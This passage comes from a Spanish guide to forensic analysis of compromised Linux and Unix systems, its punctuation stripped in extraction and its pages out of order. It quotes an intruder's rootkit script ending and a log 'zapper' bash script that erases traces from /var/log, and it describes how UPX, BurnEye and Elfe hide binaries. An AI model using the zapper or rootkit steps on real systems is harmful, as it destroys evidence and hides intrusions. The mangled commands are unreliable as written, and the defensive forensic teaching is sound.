cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 3: Análisis Forense de Sistemas GNU/Linux, Unix

Teniendo en cuenta que cada diacutea los intrusos utilizan teacutecnicas maacutes y maacutes avanzadas de proteccioacuten de sus herramientastambieacuten cubriremos el tema de ocultacioacuten de propoacutesito de los binarios ELF a traveacutes de cifrado y ofuscacioacuten conBurneye yo otras utilidades

12 Objetivos

El objetivo de un anaacutelisis forense informaacutetico es realizar un proceso de buacutesqueda detallada para reconstruir a traveacutesde todos los medios el log de acontecimientos que tuvieron lugar desde el momento cuando el sistema estuvo en suestado integro hasta el momento de deteccioacuten de un acceso no autorizado

Esa tarea debe ser llevada acabo con maacutexima cautela aseguraacutendose que se conserva intacta a la mayor medida posiblela informacioacuten contenida en el disco de un sistema comprometido de forma similar que los investigadores policialesintentan mantener la escena del crimen intacta hasta que se recogen todas las pruebas posibles

El trabajo de un investigador forense es necesario para ofrecer un punto de partida fundamental para los investigadorespoliciales ofrecieacutendoles pistas soacutelidas asiacute como pruebas para su uso posterior

13 Alcance y Supuestos

Cada uno de los incidentes es uacutenico por lo tanto la involucraron de un investigador forense externo es diferente encada caso Algunas veces el trabajo puede estar limitado a colaborar con las agencias del gobierno como Departamentode Delitos Telemaacuteticos de Guardia Civil yo Brigada Investigacioacuten Tecnoloacutegica proporcionaacutendoles el equipo iacutentegropara que sea analizado en sus instalaciones y por sus expertos

Otras veces seraacute necesario previamente realizar una recoleccioacuten de informacioacuten del sistema informaacutetico analizarficheros log estudiar el sistema de ficheros (FS) del equipo comprometido y reconstruir la secuencia de eventos paratener una imagen clara y global del incidente

El anaacutelisis termina cuando el forense tiene conocimiento de como se produjo el compromiso (1) bajo que circunstan-cias (2) la identidad de posibles atacadores (3) su procedencia y origen (4) fechas de compromiso (5) objetivosdellos atacadores (6) asiacute como cuando ha sido reconstruida completamente la secuencia temporal de los eventos (7)

Cuando un investigador forense empieza el anaacutelisis de la situacioacuten nunca sabe con lo que va a enfrentarse Al principiopuede ser que no encuentre a simple vista ninguna huella ni prueba de que el equipo ha sido violado especialmentesi hay un rootkit [1] instalado en la maacutequina Puede encontrar procesos extrantildeos ejecutaacutendose con puertos abiertosTambieacuten es frecuente que vea una particioacuten ocupada 100 de su capacidad pero cuando la verifica a traveacutes de duel sistema muestra otro porcentaje de ocupacioacuten Puede encontrar una saturacioacuten de traacutefico de red desde un hostespeciacutefico Es posible encontrar aplicaciones que estaacuten consumiendo un porcentaje elevado de del CPU pero no hayaninguacuten indicio de un programa con ese nombre en el sistema de ficheros

3

Los pasos para empezar la investigacioacuten de un incidente son diferentes en cada caso El investigador debe tomardecisiones basaacutendose en su experiencia y el sexto sentido para llegar al fondo del asunto No es necesario seguirpasos determinados ni su orden es importante a veces

Puede que algunos pasos baacutesicos sean maacutes de lo que hace falta y tambieacuten puede ser que estos sean insuficientes parasolucionar el problema Los pasos baacutesicos pueden concluir en localizar todas las huellas y eventos que se produjeron

Y en supuestos los pasos baacutesicos no han desvelado la situacioacuten se debe recurrir a llevar acabo un anaacutelisis profundo ode-compilacioacuten de las aplicaciones encontradas durante la buacutesqueda Estas aplicaciones pueden ser escritas totalmentedesde cero y protegidas pero en la mayoriacutea de los casos son aplicaciones utilizadas de forma comuacuten que circulan porla red esteacuten o no esteacuten protegidas Cuando hablamos de proteccioacuten de ficheros podemos hablar sobre teacutecnicas deconfusioacuten ofuscacioacuten y compresioacuten (Ver apeacutendice A para detalles)

14 Indicaciones

En vez de utilizar a rajatabla el orden de los procedimientos que fueron establecidos por otros analistas forensesse debe considerarlos como recursos y el orden necesario en cada caso puede variar Una vez aprendidas teacutecnicasgenerales se podraacute combinarlos con la experiencia y crear sus propios trucos en un futuro Es como ser un cocineroque utiliza el libro de recetas para preparar sus platos y con experiencia modifica las recetas para obtener un platouacutenico

La persona que ha descubierto el incidente debe asegurarse que hay maacutexima informacioacuten intacta posible para que elinvestigador forense pueda realizar su trabajo con eacutexito ya que la informacioacuten encontrada dentro del sistema registrala historia real de lo que ha sucedido

Hay solo una uacutenica cosa que es comuacuten para cada investigacioacuten forense y no es suficiente repetirla siempre Se debetener a mano un cuaderno y un boliacutegrafo para apuntar inmediatamente todos los pasos que efectuacutea durante el procesode investigacioacuten Tambieacuten se debe recordar (y apuntar) que los pasos para preservar y reunir las evidencias deben serefectuadas con lentitud precaucioacuten metoacutedica y pensaacutendolo dos veces antes de hacer cualquier cosa ya que cualquiererror puede llevar consigo consecuencias como peacuterdida de pruebas

